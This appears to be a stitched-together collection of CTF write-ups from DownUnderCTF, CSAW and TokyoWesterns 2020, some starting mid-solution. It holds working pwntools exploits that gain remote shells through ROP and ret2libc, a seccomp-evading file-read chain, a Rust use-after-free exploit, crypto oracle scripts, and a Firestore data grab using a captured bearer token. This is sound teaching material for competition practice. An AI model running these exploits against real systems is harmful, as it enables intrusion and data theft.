```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/downunderctf2020/my_first_echo_server/echos' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to chal.duc.tf on port 30001: Done[*] stack_ret_addr: 0x7fffc00c3e88[*] __libc_start_main_231: 0x7f4c28d0db97[*] __libc_start_main: 0x7f4c28d0dab0[*] getting: https://libc.rip/download/libc6_2.27-3ubuntu1_amd64.so[*] '/pwd/datajerk/downunderctf2020/my_first_echo_server/libc6_2.27-3ubuntu1_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] libc.address: 0x7f4c28cec000[*] Loaded 196 cached gadgets for 'libc6_2.27-3ubuntu1_amd64.so'[*] Switching to interactive mode$ iduid=1000 gid=999 groups=999$ ls -ltotal 16-rwxr-xr-x 1 65534 65534 8560 Sep 15 13:10 echos-rw-r--r-- 1 65534 65534 36 Sep 4 04:31 flag.txt$ cat flag.txtDUCTF{D@N6340U$_AF_F0RMAT_STTR1NG$}``` |
We have:```(1) e1 * d = 1 (mod phi)(2) e2 * (d + 2) = 1 (mod phi)```Multiply (2) by e1 and (1) by e2 and subtract them:```2 * e1 * e2 = e1 - e2 (mod phi)```That means `2 * e1 * e2 - (e1 - e2)` is a multiple of `phi`, and can be used to calculate `d`, like what we normally do:```d = inverse(e1, 2 * e1 * e2 - (e1 - e2))```Now you know the rest:```pt = pow(c, d, n)print(long_to_bytes(pt))```Flag: `TWCTF{even_if_it_is_f4+e}` |
For each character c in the message, the sum is added to the hash like follow:```xxxcxxcxxcxxcxxx```That means the order of characters in the message doesn't matter, they produce the same hash:```hash('xabx') == hash('xbax')```Now you know what to do:```$ curl -d "twctf: pleaes give me the flag of 2020" https://crypto01.chal.ctf.westerns.tokyoCongrats! The flag is TWCTF{colorfully_decorated_dream}``` |
# DownUnderCTF
## Shell this!
> 100>> Author: Faith>> Somebody told me that this program is vulnerable to something called remote code execution?>> I'm not entirely sure what that is, but could you please figure it out for me?>> `nc chal.duc.tf 30002`>> Attached files:>> * [shellthis.c](shellthis.c) (sha256: 82c8a27640528e7dc0c907fcad549a3f184524e7da8911e5156b69432a8ee72c)> * [shellthis](shellthis) (sha256: af6d30df31f0093cce9a83ae7d414233624aa8cf23e0fd682edae057763ed2e8)
Tags: _pwn_ _x86-64_ _remote-shell_ _rop_ _bof_ _ret2win_
## Summary
`gets`
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
No shellcode, but that's about it.
### Source included
```c#include <stdio.h>#include <unistd.h>
__attribute__((constructor))void setup() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0);}
void get_shell() { execve("/bin/sh", NULL, NULL);}
void vuln() { char name[40];
printf("Please tell me your name: "); gets(name);}
int main(void) { printf("Welcome! Can you figure out how to get this program to give you a shell?\n"); vuln(); printf("Unfortunately, you did not win. Please try again another time!\n");}```
`gets` vulnerability. Easy ROP/_ret2win_ since no canary or PIE.
## Exploit
```#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./shellthis')context.log_level = 'INFO'
if not args.REMOTE: context.log_file = 'local.log' p = process(binary.path)else: context.log_file = 'remote.log' p = remote('chal.duc.tf', 30002)
payload = 0x38 * b'A'payload += p64(binary.sym.get_shell)
p.sendlineafter('Please tell me your name: ',payload)p.interactive()```
Send `0x38` bytes followed by the address of the `get_shell` function.
### Why `0x38`?
Well, it's the distance to the return address from the start of the `name` buffer.
There are two easy ways to figure this out:
Use Ghidra and look at the stack diagram:
``` undefined __stdcall vuln(void) undefined AL:1 <RETURN> char[40] Stack[-0x38]:40 name```
Or, have pwntools find it for you:
```#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./shellthis')context.log_level = 'INFO'
p = process(binary.path)p.sendline(cyclic(1024,n=8))p.wait()core = p.corefilep.close()os.remove(core.file.name)offset = cyclic_find(core.read(core.rsp, 8),n=8)log.info('offset: ' + hex(offset))
p = remote('chal.duc.tf', 30002)
payload = offset * b'A'payload += p64(binary.sym.get_shell)
p.sendlineafter('Please tell me your name: ',payload)p.interactive()```
Output:
```# ./exploit2.py[*] '/pwd/datajerk/downunderctf2020/shellthis/shellthis' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Starting local process '/pwd/datajerk/downunderctf2020/shellthis/shellthis': pid 29206[*] Process '/pwd/datajerk/downunderctf2020/shellthis/shellthis' stopped with exit code -11 (SIGSEGV) (pid 29206)[!] Found bad environment at 0x7ffe62945f8c[+] Parsing corefile...: Done[*] '/pwd/datajerk/downunderctf2020/shellthis/core.29206' Arch: amd64-64-little RIP: 0x400713 RSP: 0x7ffe62944bb8 Exe: '/pwd/datajerk/downunderctf2020/shellthis/shellthis' (0x400000) Fault: 0x6161616161616168[*] offset: 0x38[+] Opening connection to chal.duc.tf on port 30002: Done[*] Switching to interactive mode$ iduid=1000 gid=999 groups=999$ ls -ltotal 16-rw-r--r-- 1 65534 65534 43 Sep 4 04:31 flag.txt-rwxr-xr-x 1 65534 65534 11488 Sep 4 04:31 shellthis$ cat flag.txtDUCTF{h0w_d1d_you_c4LL_That_funCT10n?!?!?}``` |
# roppity
Author: [roerohan](https://github.com/roerohan)
# Requirements
- Python- Pwntools
# Source
- [roppity](./roppity)
```Welcome to pwn!
nc pwn.chal.csaw.io 5016```
# Exploitation
This is a ret2libc challenge, where you have to overflow the stack using the `gets` function. Here's a script to do the same.
```pyfrom pwn import *
elf = ELF('./rop')rop = ROP(elf)
local = False
host = 'pwn.chal.csaw.io'port = 5016
if local: p = elf.process() libc = ELF('/usr/lib/libc.so.6')else: p = remote(host, port) libc = ELF('./libc-2.27.so')
PUTS_PLT = elf.plt['puts']MAIN_PLT = elf.symbols['main']
# Same as ROPgadget --binary ./rop | grep "pop rdi"POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]RET = rop.find_gadget(['ret'])[0]
OFFSET = b'A' * (0x20 + 0x8)
log.info("puts@plt: " + hex(PUTS_PLT))log.info('main@plt: ' + hex(MAIN_PLT))log.info("pop rdi; ret; gadget: " + hex(POP_RDI))
def get_addr(func_name): FUNC_GOT = elf.got[func_name] log.info(func_name + ' GOT @ ' + hex(FUNC_GOT))
rop_chain = [ POP_RDI, FUNC_GOT, PUTS_PLT, MAIN_PLT, ]
rop_chain = b''.join([p64(i) for i in rop_chain]) payload = OFFSET + rop_chain
print(p.clean()) print(payload)
p.sendline(payload)
received = p.recvline().strip() leak = u64(received.ljust(8, b'\x00')) libc.address = leak - libc.symbols[func_name] return hex(leak)
log.info('Leaked address: ' + get_addr('__libc_start_main'))log.info('Libc base: ' + hex(libc.address))
BIN_SH = next(libc.search(b'/bin/sh\x00'))SYSTEM = libc.symbols['system']EXIT = libc.symbols['exit']
log.info('/bin/sh: ' + hex(BIN_SH))log.info('system: ' + hex(SYSTEM))log.info('exit: ' + hex(EXIT))
ROP_CHAIN = [ RET, POP_RDI, BIN_SH, SYSTEM, EXIT,]
ROP_CHAIN = b''.join([p64(i) for i in ROP_CHAIN])
payload = OFFSET + ROP_CHAIN
print(p.clean())print(payload)
p.sendline(payload)
p.interactive()```
First, you leak the address of the `__libc_start_main` function (or `puts` for that matter). Using that address, you calculate the base address of on the server. With the help of this libc address, you can find `/bin/sh`, `system` and `exit` and place them strategically on the stack to execute a ROP chain.
After the script runs, it gives you a shell on the server. Use `cat flag.txt` to view the flag.
The flag is:
```flag{r0p_4ft3r_r0p_4ft3R_r0p}``` |
```#!/usr/bin/env python3from pwn import *
#establishing remote connection and makind the connection interactiveconnection = remote('crypto.chal.csaw.io', 5001)answerList=[]#contains answer list
#used to loop through the answer listdef answerFiller(): for i in answerList: connection.sendlineafter(":","a", timeout=1) connection.sendlineafter("?",i)
#used to convert "ECB"=>0 and "CBC"=>1 and printing flagdef converter(): binFlag="" flag="" #convert "ECB"=>0 and "CBC"=>1 for y in answerList: if y == "ECB": binFlag+="0" else: binFlag+="1" #take 8 bits change to character and append to flag for x in range(0, len(answerList), 8): flag+=chr(int(binFlag[x:x+8], 2)) print(flag)
i=0#looping to find the answerListwhile True: try: connection.sendlineafter(":","a", timeout=1) answerList.append("ECB")#appending ECB at the end and checking whether it's correct if it is correct proceed and save to answerList connection.sendlineafter("?",answerList[i]) i+=1 #connection breaks or wrong answer except EOFError: answerList.pop()#delete the last answer("ECB") in answerList answerList.append("CBC")#append "CBC" print("*"*50) converter() print("*"*50) connection = remote('crypto.chal.csaw.io', 5001)#establish connection again answerFiller()#loop through the answer and continue ones the answerList is finished continue
connection.interactive()```[original writeup](https://github.com/rithik2002/CSAW_CTF_2020/blob/master/modulusOPerandi/getFlag.py) |
# Return to what's revenge [medium]Author: Faith
*My friends kept making fun of me, so I hardened my program even further!*
The flag is located at /chal/flag.txt.
`nc chal.duc.tf 30006`
Attached files: `return-to-whats-revenge` (sha256: 489734ecb8d2595faf11033f34724171cbb96a15e10183f3b17ef4c7090b8ebc)
#### This challenge was quickly finished with [pwnscripts](https://github.com/152334H/pwnscripts). Try it!
This time I was 4th blood --- things were slowed down a bit because I went to [patch pwnscripts](https://github.com/152334H/pwnscripts/commit/9d3dcd7a4aaf2f10fcf878cd7203a469259d5b58) halfway through.
## Return-to-what?This challenge is a continuation of [Return to what](https://ctftime.org/task/13024), and it'll be helpful to see what's changed from that challenge.
Looking at `main()`, everything looks the same:```cvoid vuln() { char name[40]; // [rsp+0h] [rbp-30h] puts("Where would you like to return to?"); gets(name);}int main() { puts("Today, we'll have a lesson in returns."); vuln();}```Checksec hardly looks different too:```python[*] 'return-to-whats-revenge' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```At this point, it's rather tempting to run `return-to-what`'s [exploit code](https://github.com/IRS-Cybersec/ctfdump/blob/master/DownUnderCTF%202020/Return%20to%20what.md#analysis) (with minor edits to match the new binary), and to see if it'll work just-like-that:```pythonfrom pwnscripts import *context.binary = 'return-to-whats-revenge' # Editedcontext.libc_database = 'libc-database'
def rop_frame(): rop = ROP(context.binary) rop.raw(b'\0'*0x38) return rop
rop = rop_frame()rop.puts(context.binary.got['puts'])rop.puts(context.binary.got['gets'])rop.main()
r = remote('chal.duc.tf', 30006) # also editedr.sendlineafter('to?\n', rop.chain())
libc_leaks = {'puts': extract_first_bytes(r.recvline(),6), 'gets': extract_first_bytes(r.recvline(),6)}context.libc = context.libc_database.libc_find(libc_leaks)one_gadget = context.libc.select_gadget(1)
rop = rop_frame()rop.call(one_gadget+context.libc.address)rop.raw(b'\0'*99)r.sendlineafter('to?\n', rop.chain())r.interactive()```Unfortunately, the exploit code doesn't seem to pass:```$ python3.8 example.py[*] Loaded 14 cached gadgets for 'return-to-whats-revenge'[+] Opening connection to chal.duc.tf on port 30006: Done[*] found libc! id: libc6_2.27-3ubuntu1_amd64[*] 'libc-database/db/libc6_2.27-3ubuntu1_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] Switching to interactive mode[*] Got EOF while reading in interactive```Although the GOT table leak still works fine, the exploit dies when it tries to call the `one_gadget`<sup>1</sup>. The libc version hasn't changed, so why does this happen?
## SECure COMPutingGoing back to the decompiler, I realise that I've missed the function `setup()`, which happens to be called by `.init_array`:```cvoid handler() { puts("Time's up"); exit(0);}void setup() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); signal(14, handler); sandbox();}````return-to-whats-revenge` sets up an alarm to kill the process after a bit (presumably to reduce server load), and makes a call to `sandbox()`. Therein lies the complication:```cint bpf_resolve_jumps(bpf_labels *labels, sock_filter *filter, size_t count) { ... // We can ignore this}void sandbox() { struct sock_filter filter[25] = { /* op, jt, jf, k */ {0x20, 0x00, 0x00, 0x00000004}, ... {0x06, 0x00, 0x00, 0x00000000}, }; struct sock_fprog prog = { .len = sizeof(filter)/sizeof(*filter), .filter = filter, }; bpf_labels lab; memset(&lab, 0, sizeof(lab)); bpf_resolve_jumps(&lab, filter, 0x19); prctl(PR_SET_NO_NEW_PRIVS, 1); prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, prog);}```If you're experienced enough, you might spot that `sandbox()` is applying a whole bunch of [seccomp filters](https://www.yangyang.cloud/blog/2019/12/12/linux-seccomp-filters/)<sup>2</sup> to the binary. Instead of eyeballing the code, we can use a [tool](https://github.com/david942j/seccomp-tools) to help us dump out what all of this code does:```bash$ seccomp-tools dump return-to-whats-revenge line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018 0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022 0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024 0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0024: 0x06 0x00 0x00 0x00000000 return KILL```The important parts are in the `(A != ...)` statements. `sandbox()` enables a `syscall` filter<sup>2</sup> to block any syscall that doesn't match the ones listed. Our `one_gadget` attempt earlier crashes because it makes a call to `execve`, which in turn is reliant on the `SYS_execve` syscall to work (which is therefore filtered and `KILL`ed by the program).
The (useful) syscalls we have access to are `open`, `read`, `write`, `brk`, `mmap`, and `mprotect`. This challenge reminded me of pwnable.tw's [orw](https://pwnable.tw/challenge/#2) challenge, so I decided that the easiest way to get the flag was to1. `int fd = open("flag.txt", O_RDONLY)`2. `read(fd, .bss, 99)`3. `write(stdout, .bss, 99)`
The implementation for this exploit is actually really simple<sup>3</sup> --- `libc.so.6` provides all the gadgets you could ever need for argument assignment, so finishing up this exploit is really just a matter of abusing pwnscripts' `ROP()` again:```pythonfrom pwnscripts import *context.binary = 'return-to-whats-revenge' # changedcontext.libc_database = 'libc-database'
scratch = 0x404100rop = ROP(context.binary)rop.raw(b'\0'*0x38)rop.puts(context.binary.got['puts'])rop.puts(context.binary.got['gets'])rop.gets(scratch) # MODIFIED; used to write "flag.txt"rop.main()
r = remote('chal.duc.tf', 30006)r.sendlineafter('to?\n', rop.chain())libc_leaks = {'puts': extract_first_bytes(r.recvline(),6), 'gets': extract_first_bytes(r.recvline(),6)}context.libc = context.libc_database.libc_find(libc_leaks)
# New part of the exploit; this is the 3 step process stated abover.sendline('flag.txt\0') # Write flag.txt for later; note MODIFIED commentREAD, WRITE, OPEN = range(3) # Constants for syscallrop = ROP(context.libc) # Use libc for gadgetsrop.raw(b'\0'*0x38) # overflow hererop.system_call(OPEN, [scratch,0], ret=True) # fd = open("flag.txt", O_RDONLY); retrop.system_call(READ, [3,scratch,40], ret=True) # read(fd, scratch, 40); retrop.system_call(WRITE, [1,scratch,40]) # write(fd, scratch, 40);r.sendlineafter('to?\n', rop.chain())print(r.recvline()) # get the flag```
That's it<sup>4</sup>.
## Flag`DUCTF{secc0mp_noT_$tronk_eno0Gh!!@}`
## Footnotes1. You can try debugging locally if you want: ```python r = process('./return-to-whats-revenge', env={"LD_PRELOAD": "./libc-database/db/libc6_2.27-3ubuntu1_amd64.so ./libc-database/libs/libc6_2.27-3ubuntu1_amd64/ld-2.27.so"}) ``` Personally, I was unable to verify this while debugging locally. `gdb` appears to have adverse effects on investigating seccomp filters.2. You can search up what each one does [here](https://syscalls64.paolostivanin.com/)3. There are actually a few complications that led to deviations in the design of the exploit: * Because fd is pretty much *always* going to be 3, I didn't bother copying the return value of `open()` * .bss is actually populated with important glibc symbols. Because program initialisation allocates pages of `0x1000`, we can just write to an empty part of memory that is unreferenced in the program (in this case, `0x404100-0x405000` is fully unoccupied and rw) * `pwntools` actually has (had, pending [PR](https://github.com/Gallopsled/pwntools/pull/1678)) issues with finding `syscall; ret` gadgets (which are needed for the 3-step ROP chain here), so I had to patch that in as functionality while writing the exploit.4. In case you try to run this for yourself: because of the pwntools issue stated in (3), the exploit code is definitely not going to run on your machine unless you take the time to install bleeding-edge dev pwntools |
`nc crypto.chal.csaw.io 5001` Upon running the command, we get a prompt asking for a plaintext. When we enter anything in, it spews out a string of hex numbers and asks us "ECB or CBC?" This refers to different modes of operation for AES cipher. Each time you connect, it will encrypt your plaintext with a random key and mode of operation. You must guess which mode is used many times in a row. The key to this problem is that ECB and CBC have distinct properties that easily distinguish themselves. If you feed the same character hundreds of times into ECB, you will get a repeating pattern. If you feed the same character into CBC, you won't. With this knowledge, you can now guess each one correctly by just entering hundreds of the same character as the plaintext each time. Then, take each ECB answer you wrote as a 0 and each CBC answer as a 1. Concatenate them and translate into binary to find the flag. Program: ```from pwn import *
oper= ''io = remote("crypto.chal.csaw.io", 5001)
print(io.recvline())
line = io.recvline()i=0try: while line.startswith(b'Enter'): io.send(b'U'*500 +b'\n') cipher = io.recvline().strip().split(b' ')[-1] #print(b'cipher is ' + cipher) ans = b'ECB\n' if len(cipher.split(cipher[:8]))>2 else b'CBC\n' oper += '0' if ans == b'ECB\n' else '1' flag=''.join([chr(int(x,2)) for x in [oper[i:i+8] for i in range(0,len(oper),8)]]) if len(oper) %8 == 0: print('flag= ' + flag) line = io.recvline() io.send(ans) if i==175: break line = io.recvline() i+=1except: passprint('finished')```
Flag: `flag{ECB_re@lly_sUck$}` |
# DownUnderCTF 2020 - Zombie WriteupThis challenge is about exploiting the Rust bug linked here: https://github.com/rust-lang/rust/issues/25860
Prerequisites: Knowing how the Tcache works.
### The Bug```Rust// Issue 25860fn cell<'a, 'b, T: ?Sized>(_: &'a &'b (), v: &'b mut T) -> &'a mut T { v }
fn virus<'a, T: ?Sized>(input: &'a mut T) -> &'static mut T { let f: fn(_, &'a mut T) -> &'static mut T = cell; f(&&(), input)}
fn zombie(size: usize) -> &'static mut [u8] { let mut object = vec![b'A'; size]; let r = virus(object.as_mut()); r}```
I am not experienced with Rust, but I do have experience with C++, which I think has helped me with understanding the issue.The `virus` function takes a reference to an object and returns a reference to the same object but as if it is static.
So what does this mean? Static objects have unlimited lifetime. The object is not actually static, so when the `zombie` function exits, `object` is destroyed and its memory is freed. But `zombie` returns a reference to it anyway, which may be used by the caller. This is a **Use After Free**, which should not normally happen in Rust outside of unsafe blocks. Here it is allowed because the static fools the compiler into thinking the object is still alive. It's not, it's a zombie.
### The ExploitHalf the job is already done for us by the challenge. Here's the main loop:
```Rustprintln!("What will you do?");
let line = lines.next().unwrap().unwrap();
match line.as_str().trim() { "get flag" => continue, // if "get flag", skip this cycle "infect" => infected = Some(infect(&mut lines)), // calls zombie with user supplied size "eat brains" => eat_brains(&mut lines, &mut infected), // modifies the infected array "inspect brains" => inspect_brains(&mut lines, &mut infected), // views the `nfected array _ => (),} println!("{}", line);
if line.as_str().trim() == "get flag" { // normally this would be impossible to reach! let flag = read_to_string("flag.txt").unwrap(); println!("Here's the flag: {}", &flag;;}```
Clearly, what the author wants us to do is to exploit the UAF to change the contents of the `line` variable to `"get flag"`. Accomplishing this is easier than it sounds. Rust may not be C but it's still using libc underneath! We can use the heap exploits we already know and "love".
* Use `infect` to allocate an `infected` array of X bytes. This array is then freed to the X size tcache bin and used by our next commands.* Use `eat brains`, BUT, pad the input with whitespace so that it is X bytes long. The string will be allocated using the X size tcache bin, where our array resides! `line` and `infected` now point to the same memory.* Finish using the `eat brains` command to modify `infected` so that it starts with `get flag `, spaces included. This modifies `line` as well.
Here's the code to do this. (Full script in exploit.py, in repo)
```Pythoninfect(0x50)p.sendline('eat brains'.ljust(0x50))
for i, c in enumerate('get flag '): p.recvuntil('a victim') p.sendline(str(i)) p.recvuntil('ch!') p.sendline(str(ord(c)))
p.recvuntil('a victim')p.sendline('done')p.interactive()```
##### Why 2 spaces?You need to overwrite `eat brains` fully, one space will not suffice. Result would be `get flag s`
##### Why not \x00?It does not work. I am guessing it's because of Rust's `trim` behavior and its string implementation. See the tests below.
```Rustfn main() { println!("{}", "get flag\x00" == "get flag"); //false println!("{}", "get flag ".trim() == "get flag"); //true println!("{}", "get flag\x00".trim() == "get flag"); //false}```
## The FlagDUCTF{m3m0ry_s4f3ty_h4ck3d!}
|
# Easy Hash (easy)
## Given file and prompt
```Source Code: easy_hash.7zWeb Server: https://crypto01.chal.ctf.westerns.tokyo
For beginners: you can use curl to interact with the web server.
(Example)$ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: hello 2020'```
```pythonimport structimport os
MSG = b'twctf: please give me the flag of 2020'
assert os.environ['FLAG']
def easy_hash(x): m = 0 for i in range(len(x) - 3): m += struct.unpack('<I', x[i:i + 4])[0] m = m & 0xffffffff
return m
def index(request): message = request.get_data() if message[0:7] != b'twctf: ' or message[-4:] != b'2020': return b'invalid message format: ' + message
if message == MSG: return b'dont cheet'
msg_hash = easy_hash(message) expected_hash = easy_hash(MSG) if msg_hash == expected_hash: return 'Congrats! The flag is ' + "HERE IS THE FLAG" return 'Failed: easy_hash({}) is {}. but expected value is {}.'.format(message, msg_hash, expected_hash)```
## Approach
I had two approach to this:
- Like MD5, possibly trying to find a collision of the hash (the desired value was `1788732187`)- Finding a character that wouldn't change the hash
### Finding a colision
I tried first to brute force this using the same method as MD5 collision but this took too long and I abandoned.While I do believe that there is a string that will collide and equal the one that we want in value, there was a faster approach.
### A character that wont affect the hash
The function to calculate the hash is the following:
```pythondef easy_hash(x): m = 0 for i in range(len(x) - 3): m += struct.unpack('<I', x[i:i + 4])[0] m = m & 0xffffffff
return m```
It takes a window of 4 characters and unpacks their value with `little endian` and `unsigned integer` and sums them all to mod `0xffffffff`. Our goal is to then add one character that would have value of `0` when its unpacked. We can reverse this by using:
```pythonimport structstruct.pack('<I', 0) #==> b'\x00\x00\x00\x00'```
Thus adding the character `\x00` to the string `b'twctf: please give me the flag of 2020'` would make it different from the message while retaining the hash.
## Solution
Using the python command line:
```pythonimport requests
r = requests.post('https://crypto01.chal.ctf.westerns.tokyo', data=b'twctf: please give me the flag of \x002020') print(r.text) # 'Congrats! The flag is TWCTF{colorfully_decorated_dream}'```
## Flag
'Congrats! The flag is TWCTF{colorfully_decorated_dream}' |
**Beginner**
Dust off the cobwebs, let's reverse!
**Description**
This is a simple crackme that utilizes intel intrinsic instruction to hide the flag.
This writeup serves as a document on how I solved this challenge mainly using ltrace.
**Solution**
Using IDA, the binary takes in user input, `v5`, and performs shuffling, addition, xor, eventually resulting `s2`. The value `s2` is compared with v5. If `v5` and `s2` are equal, then it results in the SUCCESS message

In essence, this is what it does.

Sadly I am inexperienced with ANGR and Z3, so instead I have to rely on ltrace to solve it.
Based on some documentation of _mm_shuffle_epi8 _
https://software.intel.com/sites/landingpage/IntrinsicsGuide/#text=_mm_shuffle_epi8&expand=5153
I noticed each byte of the input is mapped to another index of the input string for the final check.
This implies if we know the correct value of a byte of the input, we could know the correct byte of another byte. Hence the EXPECTED_PREFIX constant can be used to slowly breaking the flag one by one.
Summarizing what I know about the flag:
1. length = 162. starts with "CTF{", ends with "}"
Here is how I do it with ltrace.
Feed the binary with these two input:
`CTF{aaaaaaaaaa}``CTF{bbbbbbbbbb}`
Here is the result

The input is compared with:
```Cx\273z\203Z\034Df0`@,S=```
```Cy\244z\202[\033Df0aA#P<```
Comparing the two string, some of the characters are the same, `Df0` at index 9
We now know the the 3 byte of the flag starting index 9.
**Repeating the above procedure:**
Feed
`CTF{aaaDf0aaaa}` | `CTF{bbbDf0bbbb}`
Get
```CxF{\203ZMDf0`M,S=```|```CyF{\202[MDf0aM#P<```
Feed
`CTF{aaMDf0aMaa}`|`CTF{bbMDf0bMbb}`
Get
```CTF{\2036MDf0`M,S=```|```CTF{\2026MDf0aM#P<```
Feed
`CTF{a6MDf0aMaa}`|`CTF{b6MDf0bMbb}`
Get
``CTF{n1MDf0`M,S=``|`CTF{n1MDf0aM#P<`
Feed
`CTF{n1MDf0aMaa}`|`CTF{n1MDf0bMbb}`
Get
`CTF{S1MDf0]M,S=`|`CTF{S1MDf0]M#P<`
Feed
`CTF{S1MDf0aMaa}`|`CTF{S1MDf0bMbb}`
Get
`CTF{S1MDf0rM,S=`|`CTF{S1MDf0rM#P<`
...
Get flag:
`CTF{S1MDf0rM3!}`
|
# Bad ManOSINT
solves 252
## Challenge

## Solution
This was an interesting OSINT (Open Source Intelligence) challenge that i really enjoyed solving.
As per the description we are given an Alias ```und3rm4t3r```
using sherlock-project we can check for the username on various platforms
# Installing Sherlock# clone the repo$ git clone https://github.com/sherlock-project/sherlock.git
# change the working directory to sherlock$ cd sherlock
# install the requirementspython3 -m pip install -r requirements.txt
....then
```python3 sherlock.py und3rm4t3r```
we got several hits but the most interesting was ```https://twitter.com/und3rm4t3r```

aha well no Flag this time! hmm
....but there comes WayBackMachine (archive.org)... must be this huh!
well yes visiting the twitter link on archive.org we get the flag!!

Flag : DUCTF{w4y_b4ck_1n_t1m3_w3_g0} |
# Cookie Clicker
- **Category:** Web- **Difficulty:** Medium- **Author:** Blue Alder
Click da cookie and you get to increase da cookie. Built this using epic Firebase. Built this in a day HOW COOL is firebase! Didn't need to worry about security because it's all handled by Google :) just click cookies and enjoy
https://cookie-clicker1.web.app
## Writeup
As soon as I read the description, my first instinct was that the flag would be stored somewhere in a **Firestore** instance. Cloud Firestore is one of the database services provided by Firebase. If you have experience with Firebase, you'll know that a key security concern is to set up access control for stored data explicitly, otherwise **any user will be able to access this data**.
When first entering the web page, we are presented with a login screen. After registering and logging in, we are redirected to a page where you can click the cookie and see how many times it was clicked globally.
Open the DevTools with `Ctrl`+`Shift`+`I`, and go to the `Network` tab. When we click on the cookie, we'll notice that a request is sent to Firestore. Looking at it with more detail, we obtain a **path to the database instance** (marked green below).
On the first request to Firestore, we also notice that it uses **Bearer Authentication** (marked red below). On subsequent requests, a session id is used instead. This will become useful later on.

> **Note:** It may be possible to miss the first request to Firestore since the web page is listening to changes in the number of total clicks. If this happens, reload the page while on the `Network` tab to ensure you capture the first request.
### Interacting with Firestore
It appears that my first instinct was correct. Our next step is figuring out how to interface with the database. There are multiple ways of achieving this; however, the most convenient appeared to be using the [Cloud Firestore REST API](https://firebase.google.com/docs/firestore/use-rest-api).
To use the API, we need to authenticate with an **access token**. Usually, we obtain this token either through Firebase Authentication or through a GCP Service Account, but we have conveniently acquired one previously by listening to ongoing requests (marked red above).
The final piece of information we need is which collections the database has. Looking back to our `Network` tab, and inspecting the ongoing requests every time we update the cookie clicker, we can identify two collections, `cookies` and `users` (marked green below).
.
### Grabbing all the cookies
Now, all we need to do is to fetch all cookie documents, using the REST API with the database path and access token...
```bashcurl -H "Authorization:Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjczNzVhZmY3MGRmZTNjMzNlOTBjYTM2OWUzYTBlZjQxMzE3MmZkODIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vY29va2llLWNsaWNrZXIxIiwiYXVkIjoiY29va2llLWNsaWNrZXIxIiwiYXV0aF90aW1lIjoxNjAwNjE1MDYzLCJ1c2VyX2lkIjoiRXVhUkdDU2t0R040Nnh0MWdBRUgzbEw5MkFyMSIsInN1YiI6IkV1YVJHQ1NrdEdONDZ4dDFnQUVIM2xMOTJBcjEiLCJpYXQiOjE2MDA2MTgzNjYsImV4cCI6MTYwMDYyMTk2NiwiZW1haWwiOiJrZWt3QGtla3cua2VrdyIsImVtYWlsX3ZlcmlmaWVkIjpmYWxzZSwiZmlyZWJhc2UiOnsiaWRlbnRpdGllcyI6eyJlbWFpbCI6WyJrZWt3QGtla3cua2VrdyJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.cHgPEFjfZ0J408lkrRfow_3iIsiLYTd1EVIP28NSvj9ZQIKdY6sZtIJ7XPpeVCcxWcswx9tv4Ftv6uNkgF67HeAccyY7I9YwDQuhWrPIAGMNBbQ2qoq19YbpfLy_Ot-0LRE8z9jpPL8uwEDyy8vX_PPPZAmcFHX3nQe1ltvMWDLGVeIUP4F-tDtHX5NGL-UngGPvEAg6qfpzY5tax6NzPwi-HDRDLHLPa4ayiQurwAw2hs0CTOwvbMDjf8YzoNeL0fscukyOPsFZOw-0L0nQbO4FF0GdfZLLski4VvD0XK8N9lkc_Vtn0cqZ1bN3f7Sof28KAvNf5Is-_JnO6fxz1g" "https://firestore.googleapis.com/v1/projects/cookie-clicker1/databases/(default)/documents/cookies"```
... and retrieve the following documents:
